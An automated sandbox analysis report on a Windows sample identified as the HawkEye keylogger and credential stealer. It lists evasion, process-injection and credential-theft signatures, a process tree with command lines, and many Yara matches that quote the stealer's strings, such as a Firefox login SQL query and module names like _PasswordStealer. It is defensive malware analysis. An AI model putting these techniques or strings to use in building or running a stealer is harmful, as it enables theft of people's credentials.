Play interactive tour

Edit tour

Windows Analysis Report SecuriteInfo.com.Trojan.AutoIt.316.10986.27538

Overview

General Information

Sample Name:	SecuriteInfo.com.Trojan.AutoIt.316.10986.27538 (renamed file extension from 27538 to exe)
Analysis ID:	537823
MD5:	52d4245d65d5cc2da05298c480ffcc5f
SHA1:	b2ecf335eb93feba2cf923419e70d7b6cff79061
SHA256:	70ef3c88a90dd590de9a0ac4634b5017f35ea6dedec14f3cc3b5d9eeb3ca84a2
Tags:	exeHawkEye
Infos:
Most interesting Screenshot:

Detection

HawkEye MailPassView

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected MailPassView

Multi AV Scanner detection for submitted file

Yara detected HawkEye Keylogger

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Detected HawkEye Rat

Multi AV Scanner detection for domain / URL

Sample uses process hollowing technique

Tries to steal Mail credentials (via file / registry access)

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Writes to foreign memory regions

.NET source code references suspicious native API functions

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to steal Mail credentials (via file registry)

Binary is likely a compiled AutoIt script file

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Yara detected WebBrowserPassView password recovery tool

Contains functionality to inject code into remote processes

AutoIt script contains suspicious strings

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to steal Instant Messenger accounts or passwords

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Found potential string decryption / allocating functions

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality to simulate keystroke presses

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

PE file contains strange resources

Tries to load missing DLLs

Contains functionality to read the PEB

Potential key logger detected (key state polling based)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Contains functionality to retrieve information about pressed keystrokes

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Trojan.AutoIt.316.10986.exe (PID: 4720 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe" MD5: 52D4245D65D5CC2DA05298C480FFCC5F)

RegAsm.exe (PID: 5908 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe MD5: 529695608EAFBED00ACA9E61EF333A7C)

vbc.exe (PID: 4484 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /stext "C:\Users\user\AppData\Local\Temp\tmpBCAF.tmp MD5: C63ED21D5706A527419C9FBD730FFB2E)

vbc.exe (PID: 5964 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /stext "C:\Users\user\AppData\Local\Temp\tmpBBC1.tmp MD5: C63ED21D5706A527419C9FBD730FFB2E)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000013.00000000.401565016.0000000000400000.00000040.00000001.sdmp	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x147b0:$a1: logins.json 0x14710:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x14f34:$s4: \mozsqlite3.dll 0x137a4:$s5: SMTP Password
00000013.00000000.401565016.0000000000400000.00000040.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000000.00000003.248337037.0000000000FF0000.00000004.00000001.sdmp	MAL_HawkEye_Keylogger_Gen_Dec18	Detects HawkEye Keylogger Reborn	Florian Roth	0x87c4e:$s1: HawkEye Keylogger 0x87cb7:$s1: HawkEye Keylogger 0x81091:$s2: _ScreenshotLogger 0x8105e:$s3: _PasswordStealer
00000000.00000003.248337037.0000000000FF0000.00000004.00000001.sdmp	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
00000013.00000000.401266886.0000000000400000.00000040.00000001.sdmp	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x147b0:$a1: logins.json 0x14710:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x14f34:$s4: \mozsqlite3.dll 0x137a4:$s5: SMTP Password
00000013.00000000.401266886.0000000000400000.00000040.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000003.00000000.261547769.0000000000400000.00000040.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x147b0:$a1: logins.json 0x14710:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x14f34:$s4: \mozsqlite3.dll 0x137a4:$s5: SMTP Password
00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000003.00000000.262035406.0000000000400000.00000040.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000003.00000000.261098528.0000000000400000.00000040.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000013.00000000.401896100.0000000000400000.00000040.00000001.sdmp	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x147b0:$a1: logins.json 0x14710:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x14f34:$s4: \mozsqlite3.dll 0x137a4:$s5: SMTP Password
00000013.00000000.401896100.0000000000400000.00000040.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000001.00000000.252098069.0000000000402000.00000020.00000001.sdmp	MAL_HawkEye_Keylogger_Gen_Dec18	Detects HawkEye Keylogger Reborn	Florian Roth	0x87a2e:$s1: HawkEye Keylogger 0x87a97:$s1: HawkEye Keylogger 0x80e71:$s2: _ScreenshotLogger 0x80e3e:$s3: _PasswordStealer
00000001.00000000.252098069.0000000000402000.00000020.00000001.sdmp	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
00000013.00000000.402276978.0000000000400000.00000040.00000001.sdmp	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x147b0:$a1: logins.json 0x14710:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x14f34:$s4: \mozsqlite3.dll 0x137a4:$s5: SMTP Password
00000013.00000000.402276978.0000000000400000.00000040.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000001.00000002.516270179.00000000031E9000.00000004.00000001.sdmp	MAL_HawkEye_Keylogger_Gen_Dec18	Detects HawkEye Keylogger Reborn	Florian Roth	0x8f454:$s1: HawkEye Keylogger 0x8e558:$s2: _ScreenshotLogger 0x8eaa4:$s2: _ScreenshotLogger 0x8e525:$s3: _PasswordStealer 0x8ea71:$s3: _PasswordStealer
00000001.00000002.516270179.00000000031E9000.00000004.00000001.sdmp	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
00000001.00000002.519365892.0000000006D51000.00000004.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000001.00000002.519365892.0000000006D51000.00000004.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000001.00000000.251237840.0000000000402000.00000040.00000001.sdmp	MAL_HawkEye_Keylogger_Gen_Dec18	Detects HawkEye Keylogger Reborn	Florian Roth	0x87a2e:$s1: HawkEye Keylogger 0x87a97:$s1: HawkEye Keylogger 0x80e71:$s2: _ScreenshotLogger 0x80e3e:$s3: _PasswordStealer
00000001.00000000.251237840.0000000000402000.00000040.00000001.sdmp	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
00000001.00000002.516610948.0000000003292000.00000004.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000000.00000003.251645855.0000000000FF2000.00000040.00000001.sdmp	MAL_HawkEye_Keylogger_Gen_Dec18	Detects HawkEye Keylogger Reborn	Florian Roth	0x87a2e:$s1: HawkEye Keylogger 0x87a97:$s1: HawkEye Keylogger 0x80e71:$s2: _ScreenshotLogger 0x80e3e:$s3: _PasswordStealer
00000000.00000003.251645855.0000000000FF2000.00000040.00000001.sdmp	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
00000001.00000002.514267996.0000000000402000.00000020.00000001.sdmp	MAL_HawkEye_Keylogger_Gen_Dec18	Detects HawkEye Keylogger Reborn	Florian Roth	0x87a2e:$s1: HawkEye Keylogger 0x87a97:$s1: HawkEye Keylogger 0x80e71:$s2: _ScreenshotLogger 0x80e3e:$s3: _PasswordStealer
00000001.00000002.514267996.0000000000402000.00000020.00000001.sdmp	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
00000003.00000000.260466252.0000000000400000.00000040.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000001.00000003.253770360.0000000004A43000.00000004.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000001.00000003.253770360.0000000004A43000.00000004.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000001.00000002.518879964.00000000051D0000.00000004.00020000.sdmp	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x6b4fa:$a1: logins.json 0x6b45a:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x6bc7e:$s4: \mozsqlite3.dll 0x6a4ee:$s5: SMTP Password
00000001.00000002.518879964.00000000051D0000.00000004.00020000.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000001.00000002.518879964.00000000051D0000.00000004.00020000.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000001.00000002.518219732.00000000033CE000.00000004.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe PID: 4720	MAL_HawkEye_Keylogger_Gen_Dec18	Detects HawkEye Keylogger Reborn	Florian Roth	0x1ba906:$s2: _ScreenshotLogger 0x2a8751:$s2: _ScreenshotLogger 0x1ba8d3:$s3: _PasswordStealer 0x2a871e:$s3: _PasswordStealer
Process Memory Space: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe PID: 4720	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
Process Memory Space: RegAsm.exe PID: 5908	MAL_HawkEye_Keylogger_Gen_Dec18	Detects HawkEye Keylogger Reborn	Florian Roth	0x23f7e:$s2: _ScreenshotLogger 0x2dc22:$s2: _ScreenshotLogger 0x494ff:$s2: _ScreenshotLogger 0x23f4b:$s3: _PasswordStealer 0x2dbef:$s3: _PasswordStealer 0x494cc:$s3: _PasswordStealer
Process Memory Space: RegAsm.exe PID: 5908	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5908	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
Process Memory Space: RegAsm.exe PID: 5908	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
Process Memory Space: RegAsm.exe PID: 5908	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: vbc.exe PID: 4484	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: vbc.exe PID: 5964	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
Click to see the 40 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
19.0.vbc.exe.400000.4.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x131b0:$a1: logins.json 0x13110:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x13934:$s4: \mozsqlite3.dll 0x121a4:$s5: SMTP Password
19.0.vbc.exe.400000.4.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.3.RegAsm.exe.4a9b8f2.0.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x11bb0:$a1: logins.json 0x11b10:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x12334:$s4: \mozsqlite3.dll 0x115a4:$s5: SMTP Password
1.3.RegAsm.exe.4a9b8f2.0.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
19.0.vbc.exe.400000.3.raw.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x147b0:$a1: logins.json 0x14710:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x14f34:$s4: \mozsqlite3.dll 0x137a4:$s5: SMTP Password
19.0.vbc.exe.400000.3.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
3.0.vbc.exe.400000.3.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.3.RegAsm.exe.4a9b8f2.0.raw.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x131b0:$a1: logins.json 0x13110:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x13934:$s4: \mozsqlite3.dll 0x121a4:$s5: SMTP Password
1.3.RegAsm.exe.4a9b8f2.0.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
3.0.vbc.exe.400000.5.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.RegAsm.exe.522834a.3.raw.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x131b0:$a1: logins.json 0x13110:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x13934:$s4: \mozsqlite3.dll 0x121a4:$s5: SMTP Password
1.2.RegAsm.exe.522834a.3.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
3.2.vbc.exe.400000.0.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
19.0.vbc.exe.400000.2.raw.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x147b0:$a1: logins.json 0x14710:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x14f34:$s4: \mozsqlite3.dll 0x137a4:$s5: SMTP Password
19.0.vbc.exe.400000.2.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.3.RegAsm.exe.4a435a8.2.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x696fa:$a1: logins.json 0x6965a:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x69e7e:$s4: \mozsqlite3.dll 0x686ee:$s5: SMTP Password
1.3.RegAsm.exe.4a435a8.2.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.3.RegAsm.exe.4a435a8.2.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
19.0.vbc.exe.400000.5.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x131b0:$a1: logins.json 0x13110:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x13934:$s4: \mozsqlite3.dll 0x121a4:$s5: SMTP Password
19.0.vbc.exe.400000.5.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
19.0.vbc.exe.400000.0.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x131b0:$a1: logins.json 0x13110:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x13934:$s4: \mozsqlite3.dll 0x121a4:$s5: SMTP Password
19.0.vbc.exe.400000.0.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
3.0.vbc.exe.400000.2.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
19.0.vbc.exe.400000.1.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x131b0:$a1: logins.json 0x13110:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x13934:$s4: \mozsqlite3.dll 0x121a4:$s5: SMTP Password
19.0.vbc.exe.400000.1.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
3.2.vbc.exe.400000.0.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
19.0.vbc.exe.400000.2.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x131b0:$a1: logins.json 0x13110:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x13934:$s4: \mozsqlite3.dll 0x121a4:$s5: SMTP Password
19.0.vbc.exe.400000.2.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
19.2.vbc.exe.400000.0.raw.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x147b0:$a1: logins.json 0x14710:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x14f34:$s4: \mozsqlite3.dll 0x137a4:$s5: SMTP Password
19.2.vbc.exe.400000.0.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.3.RegAsm.exe.4a435a8.2.raw.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x6b4fa:$a1: logins.json 0x6b45a:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x6bc7e:$s4: \mozsqlite3.dll 0x6a4ee:$s5: SMTP Password
1.3.RegAsm.exe.4a435a8.2.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.3.RegAsm.exe.4a435a8.2.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
19.2.vbc.exe.400000.0.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x131b0:$a1: logins.json 0x13110:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x13934:$s4: \mozsqlite3.dll 0x121a4:$s5: SMTP Password
19.2.vbc.exe.400000.0.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.RegAsm.exe.51d0345.1.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
3.0.vbc.exe.400000.5.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
3.0.vbc.exe.400000.3.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.RegAsm.exe.400000.0.unpack	MAL_HawkEye_Keylogger_Gen_Dec18	Detects HawkEye Keylogger Reborn	Florian Roth	0x87c2e:$s1: HawkEye Keylogger 0x87c97:$s1: HawkEye Keylogger 0x81071:$s2: _ScreenshotLogger 0x8103e:$s3: _PasswordStealer
1.2.RegAsm.exe.400000.0.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x87601:$name: ConfuserEx 0x8630e:$compile: AssemblyTitle
1.2.RegAsm.exe.400000.0.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.RegAsm.exe.400000.0.unpack	HawkEyev9	HawkEye v9 Payload	ditekshen	0x87c2e:$id1: HawkEye Keylogger - Reborn v9 - {0} Logs - {1} \ {2} 0x87c97:$id2: HawkEye Keylogger - Reborn v9{0}{1} Logs{0}{2} \ {3}{0}{0}{4} 0x8103e:$str1: _PasswordStealer 0x8104f:$str2: _KeyStrokeLogger 0x81071:$str3: _ScreenshotLogger 0x81060:$str4: _ClipboardLogger 0x81083:$str5: _WebCamLogger 0x81198:$str6: _AntiVirusKiller 0x81186:$str7: _ProcessElevation 0x8114d:$str8: _DisableCommandPrompt 0x81253:$str9: _WebsiteBlocker 0x81263:$str9: _WebsiteBlocker 0x81139:$str10: _DisableTaskManager 0x811b4:$str11: _AntiDebugger 0x8123e:$str12: _WebsiteVisitorSites 0x81163:$str13: _DisableRegEdit 0x811c2:$str14: _ExecutionDelay 0x810e7:$str15: _InstallStartupPersistance
1.0.RegAsm.exe.400000.0.unpack	MAL_HawkEye_Keylogger_Gen_Dec18	Detects HawkEye Keylogger Reborn	Florian Roth	0x87c2e:$s1: HawkEye Keylogger 0x87c97:$s1: HawkEye Keylogger 0x81071:$s2: _ScreenshotLogger 0x8103e:$s3: _PasswordStealer
1.0.RegAsm.exe.400000.0.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x87601:$name: ConfuserEx 0x8630e:$compile: AssemblyTitle
1.0.RegAsm.exe.400000.0.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.0.RegAsm.exe.400000.0.unpack	HawkEyev9	HawkEye v9 Payload	ditekshen	0x87c2e:$id1: HawkEye Keylogger - Reborn v9 - {0} Logs - {1} \ {2} 0x87c97:$id2: HawkEye Keylogger - Reborn v9{0}{1} Logs{0}{2} \ {3}{0}{0}{4} 0x8103e:$str1: _PasswordStealer 0x8104f:$str2: _KeyStrokeLogger 0x81071:$str3: _ScreenshotLogger 0x81060:$str4: _ClipboardLogger 0x81083:$str5: _WebCamLogger 0x81198:$str6: _AntiVirusKiller 0x81186:$str7: _ProcessElevation 0x8114d:$str8: _DisableCommandPrompt 0x81253:$str9: _WebsiteBlocker 0x81263:$str9: _WebsiteBlocker 0x81139:$str10: _DisableTaskManager 0x811b4:$str11: _AntiDebugger 0x8123e:$str12: _WebsiteVisitorSites 0x81163:$str13: _DisableRegEdit 0x811c2:$str14: _ExecutionDelay 0x810e7:$str15: _InstallStartupPersistance
1.2.RegAsm.exe.51d0000.2.raw.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x6b4fa:$a1: logins.json 0x6b45a:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x6bc7e:$s4: \mozsqlite3.dll 0x6a4ee:$s5: SMTP Password
1.2.RegAsm.exe.51d0000.2.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.RegAsm.exe.51d0000.2.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.RegAsm.exe.51d0345.1.raw.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x6b1b5:$a1: logins.json 0x6b115:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x6b939:$s4: \mozsqlite3.dll 0x6a1a9:$s5: SMTP Password
1.2.RegAsm.exe.51d0345.1.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.RegAsm.exe.51d0345.1.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
3.0.vbc.exe.400000.4.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.RegAsm.exe.522834a.3.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x11bb0:$a1: logins.json 0x11b10:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x12334:$s4: \mozsqlite3.dll 0x115a4:$s5: SMTP Password
1.2.RegAsm.exe.522834a.3.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
19.0.vbc.exe.400000.3.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x131b0:$a1: logins.json 0x13110:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x13934:$s4: \mozsqlite3.dll 0x121a4:$s5: SMTP Password
19.0.vbc.exe.400000.3.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.RegAsm.exe.6d55bd0.5.raw.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0xaf1f0:$a1: logins.json 0xaf150:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0xaf974:$s4: \mozsqlite3.dll 0xae1e4:$s5: SMTP Password
1.2.RegAsm.exe.6d55bd0.5.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.RegAsm.exe.6d55bd0.5.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack	MAL_HawkEye_Keylogger_Gen_Dec18	Detects HawkEye Keylogger Reborn	Florian Roth	0x87c2e:$s1: HawkEye Keylogger 0x87c97:$s1: HawkEye Keylogger 0x81071:$s2: _ScreenshotLogger 0x8103e:$s3: _PasswordStealer
0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x87601:$name: ConfuserEx 0x8630e:$compile: AssemblyTitle
0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack	HawkEyev9	HawkEye v9 Payload	ditekshen	0x87c2e:$id1: HawkEye Keylogger - Reborn v9 - {0} Logs - {1} \ {2} 0x87c97:$id2: HawkEye Keylogger - Reborn v9{0}{1} Logs{0}{2} \ {3}{0}{0}{4} 0x8103e:$str1: _PasswordStealer 0x8104f:$str2: _KeyStrokeLogger 0x81071:$str3: _ScreenshotLogger 0x81060:$str4: _ClipboardLogger 0x81083:$str5: _WebCamLogger 0x81198:$str6: _AntiVirusKiller 0x81186:$str7: _ProcessElevation 0x8114d:$str8: _DisableCommandPrompt 0x81253:$str9: _WebsiteBlocker 0x81263:$str9: _WebsiteBlocker 0x81139:$str10: _DisableTaskManager 0x811b4:$str11: _AntiDebugger 0x8123e:$str12: _WebsiteVisitorSites 0x81163:$str13: _DisableRegEdit 0x811c2:$str14: _ExecutionDelay 0x810e7:$str15: _InstallStartupPersistance
19.0.vbc.exe.400000.5.raw.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x147b0:$a1: logins.json 0x14710:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x14f34:$s4: \mozsqlite3.dll 0x137a4:$s5: SMTP Password
19.0.vbc.exe.400000.5.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
